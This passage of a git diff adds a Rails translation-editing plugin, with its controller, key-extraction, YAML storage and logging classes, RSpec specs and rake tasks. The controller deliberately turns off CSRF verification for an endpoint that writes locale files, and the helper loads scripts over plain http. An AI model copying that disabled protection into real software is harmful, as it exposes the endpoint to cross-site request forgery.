I18n.backend.initialized? + backend.send(:translations).keys.reject { |locale| locale == :root } +end diff --git a/vendor/plugins/translate/lib/translate.rb b/vendor/plugins/translate/lib/translate.rb new file mode 100644 index 00000000..39629bf4 --- /dev/null +++ b/vendor/plugins/translate/lib/translate.rb @@ -0,0 +1,8 @@ +module Translate +end + +require File.join(File.dirname(__FILE__), "translate_controller") +require File.join(File.dirname(__FILE__), "translate_helper") +Dir[File.join(File.dirname(__FILE__), "translate", "*.rb")].each do |file| + require file +end diff --git a/vendor/plugins/translate/lib/translate/file.rb b/vendor/plugins/translate/lib/translate/file.rb new file mode 100644 index 00000000..c8ae93b0 --- /dev/null +++ b/vendor/plugins/translate/lib/translate/file.rb @@ -0,0 +1,35 @@ +require 'fileutils' + +class Translate::File + attr_accessor :path + + def initialize(path) + self.path = path + end + + def write(keys) + FileUtils.mkdir_p File.dirname(path) + File.open(path, "w") do |file| + file.puts keys_to_yaml(Translate::File.deep_stringify_keys(keys)) + end + end + + def read + File.exists?(path) ? YAML::load(IO.read(path)) : {} + end + + # Stringifying keys for prettier YAML + def self.deep_stringify_keys(hash) + hash.inject({}) { |result, (key, value)| + value = deep_stringify_keys(value) if value.is_a? Hash + result[(key.to_s rescue key) || key] = value + result + } + end + + private + def keys_to_yaml(keys) + # Using ya2yaml, if available, for UTF8 support + keys.respond_to?(:ya2yaml) ? keys.ya2yaml(:escape_as_utf8 => true) : keys.to_yaml + end +end diff --git a/vendor/plugins/translate/lib/translate/keys.rb b/vendor/plugins/translate/lib/translate/keys.rb new file mode 100644 index 00000000..3bee3c41 --- /dev/null +++ b/vendor/plugins/translate/lib/translate/keys.rb @@ -0,0 +1,152 @@ +require 'pathname' + +class Translate::Keys + # Allows keys extracted from lookups in files to be cached + def self.files + @@files ||= Translate::Keys.new.files + end + + # Allows flushing of the files cache + def self.files=(files) + @@files = files + end + + def files + @files ||= extract_files + end + alias_method :to_hash, :files + + def keys + files.keys + end + alias_method :to_a, :keys + + def i18n_keys(locale) + I18n.backend.send(:init_translations) unless I18n.backend.initialized? + Translate::Keys.to_shallow_hash(I18n.backend.send(:translations)[locale.to_sym]).keys.sort + end + + def untranslated_keys + Translate::Keys.translated_locales.inject({}) do |missing, locale| + missing[locale] = i18n_keys(I18n.default_locale).map do |key| + I18n.backend.send(:lookup, locale, key).nil? ? key : nil + end.compact + missing + end + end + + def missing_keys + locale = I18n.default_locale; yaml_keys = {} + yaml_keys = Translate::Storage.file_paths(locale).inject({}) do |keys, path| + keys = keys.deep_merge(Translate::File.new(path).read[locale.to_s]) + end + files.reject { |key, file| self.class.contains_key?(yaml_keys, key) } + end + + def self.translated_locales + I18n.available_locales.reject { |locale| [:root, I18n.default_locale.to_sym].include?(locale) } + end + + # Checks if a nested hash contains the keys in dot separated I18n key. + # + # Example: + # + # hash = { + # :foo => { + # :bar => { + # :baz => 1 + # } + # } + # } + # + # contains_key?("foo", key) # => true + # contains_key?("foo.bar", key) # => true + # contains_key?("foo.bar.baz", key) # => true + # contains_key?("foo.bar.baz.bla", key) # => false + # + def self.contains_key?(hash, key) + keys = key.to_s.split(".") + return false if keys.empty? + !keys.inject(HashWithIndifferentAccess.new(hash)) do |memo, key| + memo.is_a?(Hash) ? memo.try(:[], key) : nil + end.nil? + end + + # Convert something like: + # + # { + # :pressrelease => { + # :label => { + # :one => "Pressmeddelande" + # } + # } + # } + # + # to: + # + # {'pressrelease.label.one' => "Pressmeddelande"} + # + def self.to_shallow_hash(hash) + hash.inject({}) do |shallow_hash, (key, value)| + if value.is_a?(Hash) + to_shallow_hash(value).each do |sub_key, sub_value| + shallow_hash[[key, sub_key].join(".")] = sub_value + end + else + shallow_hash[key.to_s] = value + end + shallow_hash + end + end + + # Convert something like: + # + # {'pressrelease.label.one' => "Pressmeddelande"} + # + # to: + # + # { + # :pressrelease => { + # :label => { + # :one => "Pressmeddelande" + # } + # } + # } + def self.to_deep_hash(hash) + hash.inject({}) do |deep_hash, (key, value)| + keys = key.to_s.split('.').reverse + leaf_key = keys.shift + key_hash = keys.inject({leaf_key.to_sym => value}) { |hash, key| {key.to_sym => hash} } + deep_merge!(deep_hash, key_hash) + deep_hash + end + end + + # deep_merge by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809 + def self.deep_merge!(hash1, hash2) + merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 } + hash1.merge!(hash2, &merger) + end + + private + + def extract_files + files_to_scan.inject(HashWithIndifferentAccess.new) do |files, file| + IO.read(file).scan(i18n_lookup_pattern).flatten.map(&:to_sym).each do |key| + files[key] ||= [] + path = Pathname.new(File.expand_path(file)).relative_path_from(Pathname.new(Rails.root)).to_s + files[key] << path if !files[key].include?(path) + end + files + end + end + + def i18n_lookup_pattern + /\b(?:I18n\.t|I18n\.translate|t)(?:\s|\():?'([a-z0-9_]+.[a-z0-9_.]+)'\)?/ + end + + def files_to_scan + Dir.glob(File.join(Translate::Storage.root_dir, "{app,config,lib}", "**","*.{rb,erb,rhtml}")) + + Dir.glob(File.join(Translate::Storage.root_dir, "public", "javascripts", "**","*.js")) + end +end diff --git a/vendor/plugins/translate/lib/translate/log.rb b/vendor/plugins/translate/lib/translate/log.rb new file mode 100644 index 00000000..9b5b3148 --- /dev/null +++ b/vendor/plugins/translate/lib/translate/log.rb @@ -0,0 +1,35 @@ +class Translate::Log + attr_accessor :from_locale, :to_locale, :keys + + def initialize(from_locale, to_locale, keys) + self.from_locale = from_locale + self.to_locale = to_locale + self.keys = keys + end + + def write_to_file + current_texts = File.exists?(file_path) ? file.read : {} + current_texts.merge!(from_texts) + file.write(current_texts) + end + + def read + file.read + end + + private + def file + @file ||= Translate::File.new(file_path) + end + + def from_texts + Translate::File.deep_stringify_keys(Translate::Keys.to_deep_hash(keys.inject({}) do |hash, key| + hash[key] = I18n.backend.send(:lookup, from_locale, key) + hash + end)) + end + + def file_path + File.join(Rails.root, "config", "locales", "log", "from_#{from_locale}_to_#{to_locale}.yml") + end +end diff --git a/vendor/plugins/translate/lib/translate/routes.rb b/vendor/plugins/translate/lib/translate/routes.rb new file mode 100644 index 00000000..8d02c869 --- /dev/null +++ b/vendor/plugins/translate/lib/translate/routes.rb @@ -0,0 +1,11 @@ +module Translate + class Routes + def self.translation_ui(map) + map.with_options(:controller => 'translate') do |t| + t.translate_list 'translate' + t.translate 'translate/translate', :action => 'translate' + t.translate_reload 'translate/reload', :action => 'reload' + end + end + end +end diff --git a/vendor/plugins/translate/lib/translate/storage.rb b/vendor/plugins/translate/lib/translate/storage.rb new file mode 100644 index 00000000..2b9a3858 --- /dev/null +++ b/vendor/plugins/translate/lib/translate/storage.rb @@ -0,0 +1,28 @@ +class Translate::Storage + attr_accessor :locale + + def initialize(locale) + self.locale = locale.to_sym + end + + def write_to_file + Translate::File.new(file_path).write(keys) + end + + def self.file_paths(locale) + Dir.glob(File.join(root_dir, "config", "locales", "**","#{locale}.yml")) + end + + def self.root_dir + Rails.root + end + + private + def keys + {locale => I18n.backend.send(:translations)[locale]} + end + + def file_path + File.join(Translate::Storage.root_dir, "config", "locales", "#{locale}.yml") + end +end diff --git a/vendor/plugins/translate/lib/translate_controller.rb b/vendor/plugins/translate/lib/translate_controller.rb new file mode 100644 index 00000000..d06e171e --- /dev/null +++ b/vendor/plugins/translate/lib/translate_controller.rb @@ -0,0 +1,165 @@ +class TranslateController < ActionController::Base + # It seems users with active_record_store may get a "no :secret given" error if we don't disable csrf protection, + skip_before_filter :verify_authenticity_token + + prepend_view_path(File.join(File.dirname(__FILE__), "..", "views")) + layout 'translate' + + before_filter :init_translations + before_filter :set_locale + + def index + initialize_keys + filter_by_key_pattern + filter_by_text_pattern + filter_by_translated_or_changed + sort_keys + paginate_keys + @total_entries = @keys.size + end + + def translate + I18n.backend.store_translations(@to_locale, Translate::Keys.to_deep_hash(params[:key])) + Translate::Storage.new(@to_locale).write_to_file + Translate::Log.new(@from_locale, @to_locale, params[:key].keys).write_to_file + force_init_translations # Force reload from YAML file + flash[:notice] = "Translations stored" + redirect_to params.slice(:filter, :sort_by, :key_type, :key_pattern, :text_type, :text_pattern).merge({:action => :index}) + end + + def reload + Translate::Keys.files = nil + redirect_to :action => 'index' + end + + private + def initialize_keys + @files = Translate::Keys.files + @keys = (@files.keys.map(&:to_s) + Translate::Keys.new.i18n_keys(@from_locale)).uniq + @keys.reject! do |key| + from_text = lookup(@from_locale, key) + # When translating from one language to another, make sure there is a text to translate from. + # Always exclude non string translation objects as we don't support editing them in the UI. + (@from_locale != @to_locale && !from_text.present?) || (from_text.present? && !from_text.is_a?(String)) + end + end + + def lookup(locale, key) + I18n.backend.send(:lookup, locale, key) + end + helper_method :lookup + + def filter_by_translated_or_changed + params[:filter] ||= 'all' + return if params[:filter] == 'all' + @keys.reject! do |key| + case params[:filter] + when 'untranslated' + lookup(@to_locale, key).present? + when 'translated' + lookup(@to_locale, key).blank? + when 'changed' + old_from_text(key).blank? || lookup(@from_locale, key) == old_from_text(key) + else + raise "Unknown filter '#{params[:filter]}'" + end + end + end + + def filter_by_key_pattern + return if params[:key_pattern].blank? + @keys.reject! do |key| + case params[:key_type] + when "starts_with" + !key.starts_with?(params[:key_pattern]) + when "contains" + key.index(params[:key_pattern]).nil? + else + raise "Unknown key_type '#{params[:key_type]}'" + end + end + end + + def filter_by_text_pattern + return if params[:text_pattern].blank? + @keys.reject! do |key| + case params[:text_type] + when 'contains' + !lookup(@from_locale, key).present? || !lookup(@from_locale, key).to_s.downcase.index(params[:text_pattern].downcase) + when 'equals' + !lookup(@from_locale, key).present? || lookup(@from_locale, key).to_s.downcase != params[:text_pattern].downcase + else + raise "Unknown text_type '#{params[:text_type]}'" + end + end + end + + def sort_keys + params[:sort_by] ||= "key" + case params[:sort_by] + when "key" + @keys.sort! + when "text" + @keys.sort! do |key1, key2| + if lookup(@from_locale, key1).present? && lookup(@from_locale, key2).present? + lookup(@from_locale, key1).to_s.downcase <=> lookup(@from_locale, key2).to_s.downcase + elsif lookup(@from_locale, key1).present? + -1 + else + 1 + end + end + else + raise "Unknown sort_by '#{params[:sort_by]}'" + end + end + + def paginate_keys + params[:page] ||= 1 + @paginated_keys = @keys[offset, per_page] + end + + def offset + (params[:page].to_i - 1) * per_page + end + + def per_page + 50 + end + helper_method :per_page + + def init_translations + I18n.backend.send(:init_translations) unless I18n.backend.initialized? + end + + def force_init_translations + I18n.backend.send(:init_translations) + end + + def default_locale + I18n.default_locale + end + + def set_locale + session[:from_locale] ||= default_locale + session[:to_locale] ||= :en + session[:from_locale] = params[:from_locale] if params[:from_locale].present? + session[:to_locale] = params[:to_locale] if params[:to_locale].present? + @from_locale = session[:from_locale].to_sym + @to_locale = session[:to_locale].to_sym + end + + def old_from_text(key) + return @old_from_text[key] if @old_from_text && @old_from_text[key] + @old_from_text = {} + text = key.split(".").inject(log_hash) do |hash, k| + hash ? hash[k] : nil + end + @old_from_text[key] = text + end + helper_method :old_from_text + + def log_hash + @log_hash ||= Translate::Log.new(@from_locale, @to_locale, {}).read + end +end diff --git a/vendor/plugins/translate/lib/translate_helper.rb b/vendor/plugins/translate/lib/translate_helper.rb new file mode 100644 index 00000000..cb4c400f --- /dev/null +++ b/vendor/plugins/translate/lib/translate_helper.rb @@ -0,0 +1,45 @@ +module TranslateHelper + def simple_filter(labels, param_name = 'filter', selected_value = nil) + selected_value ||= params[param_name] + filter = [] + labels.each do |item| + if item.is_a?(Array) + type, label = item + else + type = label = item + end + if type.to_s == selected_value.to_s + filter << "#{label}" + else + link_params = params.merge({param_name.to_s => type}) + link_params.merge!({"page" => nil}) if param_name.to_s != "page" + filter << link_to(label, link_params) + end + end + filter.join(" | ") + end + + def n_lines(text, line_size) + n_lines = 1 + if text.present? + n_lines = text.split("\n").size + if n_lines == 1 && text.length > line_size + n_lines = text.length / line_size + 1 + end + end + n_lines + end + + def translate_javascript_includes + sources = [] + if File.exists?(File.join(Rails.root, "public", "javascripts", "prototype.js")) + sources << "/javascripts/prototype.js" + else + sources << "http://ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js" + end + sources << "http://www.google.com/jsapi" + sources.map do |src| + %Q{} + end.join("\n") + end +end diff --git a/vendor/plugins/translate/spec/controllers/translate_controller_spec.rb b/vendor/plugins/translate/spec/controllers/translate_controller_spec.rb new file mode 100644 index 00000000..e384811b --- /dev/null +++ b/vendor/plugins/translate/spec/controllers/translate_controller_spec.rb @@ -0,0 +1,129 @@ +require File.expand_path(File.dirname(__FILE__) + '/../spec_helper') + +describe TranslateController do + describe "index" do + before(:each) do + controller.stub!(:per_page).and_return(1) + I18n.backend.stub!(:translations).and_return(i18n_translations) + I18n.backend.instance_eval { @initialized = true } + keys = mock(:keys) + keys.stub!(:i18n_keys).and_return(['vendor.foobar']) + Translate::Keys.should_receive(:new).and_return(keys) + Translate::Keys.should_receive(:files).and_return(files) + I18n.stub!(:valid_locales).and_return([:en, :sv]) + I18n.stub!(:default_locale).and_return(:sv) + end + + it "shows sorted paginated keys from the translate from locale and extracted keys by default" do + get_page :index + assigns(:from_locale).should == :sv + assigns(:to_locale).should == :en + assigns(:files).should == files + assigns(:keys).sort.should == ['articles.new.page_title', 'home.page_title', 'vendor.foobar'] + assigns(:paginated_keys).should == ['articles.new.page_title'] + end + + it "can be paginated with the page param" do + get_page :index, :page => 2 + assigns(:files).should == files + assigns(:paginated_keys).should == ['home.page_title'] + end + + it "accepts a key_pattern param with key_type=starts_with" do + get_page :index, :key_pattern => 'articles', :key_type => 'starts_with' + assigns(:files).should == files + assigns(:paginated_keys).should == ['articles.new.page_title'] + assigns(:total_entries).should == 1 + end + + it "accepts a key_pattern param with key_type=contains" do + get_page :index, :key_pattern => 'page_', :key_type => 'contains' + assigns(:files).should == files + assigns(:total_entries).should == 2 + assigns(:paginated_keys).should == ['articles.new.page_title'] + end + + it "accepts a filter=untranslated param" do + get_page :index, :filter => 'untranslated' + assigns(:total_entries).should == 2 + assigns(:paginated_keys).should == ['articles.new.page_title'] + end + + it "accepts a filter=translated param" do + get_page :index, :filter => 'translated' + assigns(:total_entries).should == 1 + assigns(:paginated_keys).should == ['vendor.foobar'] + end + + it "accepts a filter=changed param" do + log = mock(:log) + old_translations = {:home => {:page_title => "Skapar ny artikel"}} + log.should_receive(:read).and_return(Translate::File.deep_stringify_keys(old_translations)) + Translate::Log.should_receive(:new).with(:sv, :en, {}).and_return(log) + get_page :index, :filter => 'changed' + assigns(:total_entries).should == 1 + assigns(:keys).should == ["home.page_title"] + end + + def i18n_translations + HashWithIndifferentAccess.new({ + :en => { + :vendor => { + :foobar => "Foo Baar" + } + }, + :sv => { + :articles => { + :new => { + :page_title => "Skapa ny artikel" + } + }, + :home => { + :page_title => "Välkommen till I18n" + }, + :vendor => { + :foobar => "Fobar" + } + } + }) + end + + def files + HashWithIndifferentAccess.new({ + :'home.page_title' => ["app/views/home/index.rhtml"], + :'general.back' => ["app/views/articles/new.rhtml", "app/views/categories/new.rhtml"], + :'articles.new.page_title' => ["app/views/articles/new.rhtml"] + }) + end + end + + describe "translate" do + it "should store translations to I18n backend and then write them to a YAML file" do + session[:from_locale] = :sv + session[:to_locale] = :en + translations = { + :articles => { + :new => { + :title => "New Article" + } + }, + :category => "Category" + } + key_param = {'articles.new.title' => "New Article", "category" => "Category"} + I18n.backend.should_receive(:store_translations).with(:en, translations) + storage = mock(:storage) + storage.should_receive(:write_to_file) + Translate::Storage.should_receive(:new).with(:en).and_return(storage) + log = mock(:log) + log.should_receive(:write_to_file) + Translate::Log.should_receive(:new).with(:sv, :en, key_param.keys).and_return(log) + post :translate, "key" => key_param + response.should be_redirect + end + end + + def get_page(*args) + get(*args) + response.should be_success + end +end diff --git a/vendor/plugins/translate/spec/file_spec.rb b/vendor/plugins/translate/spec/file_spec.rb new file mode 100644 index 00000000..5f94f5a9 --- /dev/null +++ b/vendor/plugins/translate/spec/file_spec.rb @@ -0,0 +1,54 @@ +require 'fileutils' +require File.dirname(__FILE__) + '/spec_helper' + +describe Translate::File do + describe "write" do + before(:each) do + @file = Translate::File.new(file_path) + end + + after(:each) do + FileUtils.rm(file_path) + end + + it "writes all I18n messages for a locale to YAML file" do + @file.write(translations) + @file.read.should == Translate::File.deep_stringify_keys(translations) + end + + def translations + { + :en => { + :article => { + :title => "One Article" + }, + :category => "Category" + } + } + end + end + + describe "deep_stringify_keys" do + it "should convert all keys in a hash to strings" do + Translate::File.deep_stringify_keys({ + :en => { + :article => { + :title => "One Article" + }, + :category => "Category" + } + }).should == { + "en" => { + "article" => { + "title" => "One Article" + }, + "category" => "Category" + } + } + end + end + + def file_path + File.join(File.dirname(__FILE__), "files", "en.yml") + end +end diff --git a/vendor/plugins/translate/spec/files/translate/app/models/article.rb b/vendor/plugins/translate/spec/files/translate/app/models/article.rb new file mode 100644 index 00000000..d151e316 --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/app/models/article.rb @@ -0,0 +1,12 @@ +class Article < ActiveRecord::Base + def validate + # t('li') + errors.add_to_base([t(:'article.key1') + "#{t('article.key2')}"]) + I18n.t 'article.key3' + I18n.t 'article.key3' + I18n.t :'article.key4' + I18n.translate :'article.key5' + 'bla bla t' + "blubba bla" + ' foobar' + 'bla bla t ' + "blubba bla" + ' foobar' + end +end diff --git a/vendor/plugins/translate/spec/files/translate/app/views/category.erb b/vendor/plugins/translate/spec/files/translate/app/views/category.erb new file mode 100644 index 00000000..2146f874 --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/app/views/category.erb @@ -0,0 +1 @@ +<%= t(:'category_erb.key1') %> diff --git a/vendor/plugins/translate/spec/files/translate/app/views/category.html b/vendor/plugins/translate/spec/files/translate/app/views/category.html new file mode 100644 index 00000000..0947d174 --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/app/views/category.html @@ -0,0 +1 @@ +t(:'category_html.key1') diff --git a/vendor/plugins/translate/spec/files/translate/app/views/category.html.erb b/vendor/plugins/translate/spec/files/translate/app/views/category.html.erb new file mode 100644 index 00000000..a226ccff --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/app/views/category.html.erb @@ -0,0 +1 @@ +<%= t(:'category_html_erb.key1') %> diff --git a/vendor/plugins/translate/spec/files/translate/app/views/category.rhtml b/vendor/plugins/translate/spec/files/translate/app/views/category.rhtml new file mode 100644 index 00000000..235e5173 --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/app/views/category.rhtml @@ -0,0 +1,5 @@ + + +<%= t(:'category_rhtml.key1') %> diff --git a/vendor/plugins/translate/spec/files/translate/public/javascripts/application.js b/vendor/plugins/translate/spec/files/translate/public/javascripts/application.js new file mode 100644 index 00000000..a673ca02 --- /dev/null +++ b/vendor/plugins/translate/spec/files/translate/public/javascripts/application.js @@ -0,0 +1 @@ +I18n.t('js.alert') \ No newline at end of file diff --git a/vendor/plugins/translate/spec/keys_spec.rb b/vendor/plugins/translate/spec/keys_spec.rb new file mode 100644 index 00000000..3b0bd629 --- /dev/null +++ b/vendor/plugins/translate/spec/keys_spec.rb @@ -0,0 +1,179 @@ +require File.dirname(__FILE__) + '/spec_helper' +require 'fileutils' + +describe Translate::Keys do + before(:each) do + I18n.stub!(:default_locale).and_return(:en) + @keys = Translate::Keys.new + Translate::Storage.stub!(:root_dir).and_return(i18n_files_dir) + end + + describe "to_a" do + it "extracts keys from I18n lookups in .rb, .html.erb, and .rhtml files" do + @keys.to_a.map(&:to_s).sort.should == ['article.key1', 'article.key2', 'article.key3', 'article.key4', 'article.key5', + 'category_erb.key1', 'category_html_erb.key1', 'category_rhtml.key1', 'js.alert'] + end + end + + describe "to_hash" do + it "return a hash with I18n keys and file lists" do + @keys.to_hash[:'article.key3'].should == ["vendor/plugins/translate/spec/files/translate/app/models/article.rb"] + end + end + + describe "i18n_keys" do + before(:each) do + I18n.backend.send(:init_translations) unless I18n.backend.initialized? + end + + it "should return all keys in the I18n backend translations hash" do + I18n.backend.should_receive(:translations).and_return(translations) + @keys.i18n_keys(:en).should == ['articles.new.page_title', 'categories.flash.created', 'empty', 'home.about'] + end + + describe "untranslated_keys" do + before(:each) do + I18n.backend.stub!(:translations).and_return(translations) + end + + it "should return a hash with keys with missing translations in each locale" do + @keys.untranslated_keys.should == { + :sv => ['articles.new.page_title', 'categories.flash.created', 'empty'] + } + end + end + + describe "missing_keys" do + before(:each) do + @file_path = File.join(i18n_files_dir, "config", "locales", "en.yml") + Translate::File.new(@file_path).write({ + :en => { + :home => { + :page_title => false, + :intro => { + :one => "intro one", + :other => "intro other" + } + } + } + }) + end + + after(:each) do + FileUtils.rm(@file_path) + end + + it "should return a hash with keys that are not in the locale file" do + @keys.stub!(:files).and_return({ + :'home.page_title' => "app/views/home/index.rhtml", + :'home.intro' => 'app/views/home/index.rhtml', + :'home.signup' => "app/views/home/_signup.rhtml", + :'about.index.page_title' => "app/views/about/index.rhtml" + }) + @keys.missing_keys.should == { + :'home.signup' => "app/views/home/_signup.rhtml", + :'about.index.page_title' => "app/views/about/index.rhtml" + } + end + end + + describe "contains_key?" do + it "works" do + hash = { + :foo => { + :bar => { + :baz => false + } + } + } + Translate::Keys.contains_key?(hash, "").should be_false + Translate::Keys.contains_key?(hash, "foo").should be_true + Translate::Keys.contains_key?(hash, "foo.bar").should be_true + Translate::Keys.contains_key?(hash, "foo.bar.baz").should be_true + Translate::Keys.contains_key?(hash, :"foo.bar.baz").should be_true + Translate::Keys.contains_key?(hash, "foo.bar.baz.bla").should be_false + end + end + + describe "translated_locales" do + before(:each) do + I18n.stub!(:default_locale).and_return(:en) + I18n.stub!(:available_locales).and_return([:sv, :no, :en, :root]) + end + + it "returns all avaiable except :root and the default" do + Translate::Keys.translated_locales.should == [:sv, :no] + end + end + + describe "to_deep_hash" do + it "convert shallow hash with dot separated keys to deep hash" do + Translate::Keys.to_deep_hash(shallow_hash).should == deep_hash + end + end + + describe "to_shallow_hash" do + it "converts a deep hash to a shallow one" do + Translate::Keys.to_shallow_hash(deep_hash).should == shallow_hash + end + end + + ########################################################################## + # + # Helper Methods + # + ########################################################################## + + def translations + { + :en => { + :home => { + :about => "This site is about making money" + }, + :articles => { + :new => { + :page_title => "New Article" + } + }, + :categories => { + :flash => { + :created => "Category created" + } + }, + :empty => nil + }, + :sv => { + :home => { + :about => false + } + } + } + end + end + + def shallow_hash + { + 'pressrelease.label.one' => "Pressmeddelande", + 'pressrelease.label.other' => "Pressmeddelanden", + 'article' => "Artikel", + 'category' => '' + } + end + + def deep_hash + { + :pressrelease => { + :label => { + :one => "Pressmeddelande", + :other => "Pressmeddelanden" + } + }, + :article => "Artikel", + :category => '' + } + end + + def i18n_files_dir + File.join(ENV['PWD'], "spec", "files", "translate") + end +end diff --git a/vendor/plugins/translate/spec/log_spec.rb b/vendor/plugins/translate/spec/log_spec.rb new file mode 100644 index 00000000..7dc9f542 --- /dev/null +++ b/vendor/plugins/translate/spec/log_spec.rb @@ -0,0 +1,47 @@ +require 'fileutils' +require File.dirname(__FILE__) + '/spec_helper' + +describe Translate::Log do + describe "write_to_file" do + before(:each) do + I18n.locale = :sv + I18n.backend.store_translations(:sv, from_texts) + keys = Translate::Keys.new + @log = Translate::Log.new(:sv, :en, Translate::Keys.to_shallow_hash(from_texts).keys) + @log.stub!(:file_path).and_return(file_path) + FileUtils.rm_f file_path + end + + after(:each) do + FileUtils.rm_f file_path + end + + it "writes new log file with from texts" do + File.exists?(file_path).should be_false + @log.write_to_file + File.exists?(file_path).should be_true + Translate::File.new(file_path).read.should == Translate::File.deep_stringify_keys(from_texts) + end + + it "merges from texts with current texts in log file and re-writes the log file" do + @log.write_to_file + I18n.backend.store_translations(:sv, {:category => "Kategori ny"}) + @log.keys = ['category'] + @log.write_to_file + Translate::File.new(file_path).read['category'].should == "Kategori ny" + end + + def file_path + File.join(File.dirname(__FILE__), "files", "from_sv_to_en.yml") + end + + def from_texts + { + :article => { + :title => "En artikel" + }, + :category => "Kategori" + } + end + end +end diff --git a/vendor/plugins/translate/spec/spec_helper.rb b/vendor/plugins/translate/spec/spec_helper.rb new file mode 100644 index 00000000..5a919082 --- /dev/null +++ b/vendor/plugins/translate/spec/spec_helper.rb @@ -0,0 +1,11 @@ +begin + # Using PWD here instead of File.dirname(__FILE__) to be able to symlink to plugin + # from within a Rails app. + require File.expand_path(ENV['PWD'] + '/../../../spec/spec_helper') +rescue LoadError => e + puts "You need to install rspec in your base app\n#{e.message}: #{e.backtrace.join("\n")}" + exit +end + +plugin_spec_dir = File.dirname(__FILE__) +ActiveRecord::Base.logger = Logger.new(plugin_spec_dir + "/debug.log") diff --git a/vendor/plugins/translate/spec/storage_spec.rb b/vendor/plugins/translate/spec/storage_spec.rb new file mode 100644 index 00000000..e6110c3d --- /dev/null +++ b/vendor/plugins/translate/spec/storage_spec.rb @@ -0,0 +1,33 @@ +require File.dirname(__FILE__) + '/spec_helper' + +describe Translate::Storage do + describe "write_to_file" do + before(:each) do + @storage = Translate::Storage.new(:en) + end + + it "writes all I18n messages for a locale to YAML file" do + I18n.backend.should_receive(:translations).and_return(translations) + @storage.stub!(:file_path).and_return(file_path) + file = mock(:file) + file.should_receive(:write).with(translations) + Translate::File.should_receive(:new).with(file_path).and_return(file) + @storage.write_to_file + end + + def file_path + File.join(File.dirname(__FILE__), "files", "en.yml") + end + + def translations + { + :en => { + :article => { + :title => "One Article" + }, + :category => "Category" + } + } + end + end +end diff --git a/vendor/plugins/translate/tasks/translate.rake b/vendor/plugins/translate/tasks/translate.rake new file mode 100644 index 00000000..a70b934c --- /dev/null +++ b/vendor/plugins/translate/tasks/translate.rake @@ -0,0 +1,178 @@ +require 'yaml' + +class Hash + def deep_merge(other) + # deep_merge by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809 + merger = proc { |key, v1, v2| (Hash === v1 && Hash === v2) ? v1.merge(v2, &merger) : v2 } + merge(other, &merger) + end + + def set(keys, value) + key = keys.shift + if keys.empty? + self[key] = value + else + self[key] ||= {} + self[key].set keys, value + end + end + + if ENV['SORT'] + # copy of ruby's to_yaml method, prepending sort. + # before each so we get an ordered yaml file + def to_yaml( opts = {} ) + YAML::quick_emit( self, opts ) do |out| + out.map( taguri, to_yaml_style ) do |map| + sort.each do |k, v| #<- Adding sort. + map.add( k, v ) + end + end + end + end + end +end + +namespace :translate do + desc "Show untranslated keys for locale LOCALE" + task :untranslated => :environment do + from_locale = I18n.default_locale + untranslated = Translate::Keys.new.untranslated_keys + + messages = [] + untranslated.each do |locale, keys| + keys.each do |key| + from_text = I18n.backend.send(:lookup, from_locale, key) + messages << "#{locale}.#{key} (#{from_locale}.#{key}='#{from_text}')" + end + end + + if messages.present? + messages.each { |m| puts m } + else + puts "No untranslated keys" + end + end + + desc "Show I18n keys that are missing in the config/locales/default_locale.yml YAML file" + task :missing => :environment do + missing = Translate::Keys.new.missing_keys.inject([]) do |keys, (key, filename)| + keys << "#{key} in \t #{filename} is missing" + end + puts missing.present? ? missing.join("\n") : "No missing translations in the default locale file" + end + + desc "Remove all translation texts that are no longer present in the locale they were translated from" + task :remove_obsolete_keys => :environment do + I18n.backend.send(:init_translations) + master_locale = ENV['LOCALE'] || I18n.default_locale + Translate::Keys.translated_locales.each do |locale| + texts = {} + Translate::Keys.new.i18n_keys(locale).each do |key| + if I18n.backend.send(:lookup, master_locale, key).to_s.present? + texts[key] = I18n.backend.send(:lookup, locale, key) + end + end + I18n.backend.send(:translations)[locale] = nil # Clear out all current translations + I18n.backend.store_translations(locale, Translate::Keys.to_deep_hash(texts)) + Translate::Storage.new(locale).write_to_file + end + end + + desc "Merge I18n keys from log/translations.yml into config/locales/*.yml (for use with the Rails I18n TextMate bundle)" + task :merge_keys => :environment do + I18n.backend.send(:init_translations) + new_translations = YAML::load(IO.read(File.join(Rails.root, "log", "translations.yml"))) + raise("Can only merge in translations in single locale") if new_translations.keys.size > 1 + locale = new_translations.keys.first + + overwrites = false + Translate::Keys.to_shallow_hash(new_translations[locale]).keys.each do |key| + new_text = key.split(".").inject(new_translations[locale]) { |hash, sub_key| hash[sub_key] } + existing_text = I18n.backend.send(:lookup, locale.to_sym, key) + if existing_text && new_text != existing_text + puts "ERROR: key #{key} already exists with text '#{existing_text.inspect}' and would be overwritten by new text '#{new_text}'. " + + "Set environment variable OVERWRITE=1 if you really want to do this." + overwrites = true + end + end + + if !overwrites || ENV['OVERWRITE'] + I18n.backend.store_translations(locale, new_translations[locale]) + Translate::Storage.new(locale).write_to_file + end + end + + desc "Apply Google translate to auto translate all texts in locale ENV['FROM'] to locale ENV['TO']" + task :google => :environment do + raise "Please specify FROM and TO locales as environment variables" if ENV['FROM'].blank? || ENV['TO'].blank? + + # Depends on httparty gem + # http://www.robbyonrails.com/articles/2009/03/16/httparty-goes-foreign + class GoogleApi + include HTTParty + base_uri 'ajax.googleapis.com' + def self.translate(string, to, from) + tries = 0 + begin + get("/ajax/services/language/translate", + :query => {:langpair => "#{from}|#{to}", :q => string, :v => 1.0}, + :format => :json) + rescue + tries += 1 + puts("SLEEPING - retrying in 5...") + sleep(5) + retry if tries < 10 + end + end + end + + I18n.backend.send(:init_translations) + + start_at = Time.now + translations = {} + Translate::Keys.new.i18n_keys(ENV['FROM']).each do |key| + from_text = I18n.backend.send(:lookup, ENV['FROM'], key).to_s + to_text = I18n.backend.send(:lookup, ENV['TO'], key) + if !from_text.blank? && to_text.blank? + print "#{key}: '#{from_text[0, 40]}' => " + if !translations[from_text] + response = GoogleApi.translate(from_text, ENV['TO'], ENV['FROM']) + translations[from_text] = response["responseData"] && response["responseData"]["translatedText"] + end + if !(translation = translations[from_text]).blank? + translation.gsub!(/\(\(([a-z_.]+)\)\)/i, '{{\1}}') + # Google translate sometimes replaces 